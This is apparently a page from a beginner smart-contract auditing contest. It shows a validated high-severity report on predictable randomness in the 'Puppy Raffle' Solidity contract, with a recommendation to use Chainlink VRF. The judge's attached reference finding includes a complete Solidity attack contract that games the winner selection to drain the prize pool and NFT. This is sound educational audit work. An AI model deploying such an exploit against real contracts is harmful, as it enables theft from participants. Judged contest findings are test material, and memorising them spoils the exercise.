Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Predictable randomness allows callers to manipulate raffle winner selection

0xharsh

Root + Impact

Description

The protocol is expected to select a raffle winner using an unpredictable and unbiased source of randomness so that every participant has an equal probability of winning the raffle.

However, the winner is derived from msg.sender, block.timestamp, and block.difficulty. Since msg.sender is fully controlled by the caller and block values are predictable or partially influenceable, the resulting hash is not a secure source of randomness. Different callers can generate different winner indices for the same raffle state, allowing participants to influence the raffle outcome.

// @> Winner selection depends on caller-controlled and predictable values
uint256 winnerIndex =
uint256(
keccak256(
abi.encodePacked(
msg.sender,
block.timestamp,
block.difficulty
)
)
) % players.length;

Risk

Likelihood

  • Every raffle winner is selected using deterministic on-chain values.

  • Any participant can compute the resulting winner off-chain before submitting the transaction and choose whether to execute selectWinner().

Impact

  • Malicious participants can bias winner selection in their favor.

  • Honest participants may lose the prize pool despite having a fair chance under the intended protocol design.

Proof of Concept

// Assume four players have entered the raffle.
​
players = [Alice, Bob, Charlie, Dave];
​
// Alice simulates the randomness locally.
uint256 winnerIndexAlice =
uint256(
keccak256(
abi.encodePacked(
Alice,
block.timestamp,
block.difficulty
)
)
) % players.length;
​
// Bob performs the same computation.
uint256 winnerIndexBob =
uint256(
keccak256(
abi.encodePacked(
Bob,
block.timestamp,
block.difficulty
)
)
) % players.length;
​
// winnerIndexAlice != winnerIndexBob
​
// The selected winner changes depending on who calls
// selectWinner(), allowing callers to influence the raffle outcome.

Recommended Mitigation

- uint256 winnerIndex =
- uint256(
- keccak256(
- abi.encodePacked(
- msg.sender,
- block.timestamp,
- block.difficulty
- )
- )
- ) % players.length;
​
+ Integrate a verifiable randomness source such as Chainlink VRF.
+ Remove all caller-controlled values from the randomness seed.
+ Generate the winner only after receiving unbiased random output from the VRF.
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!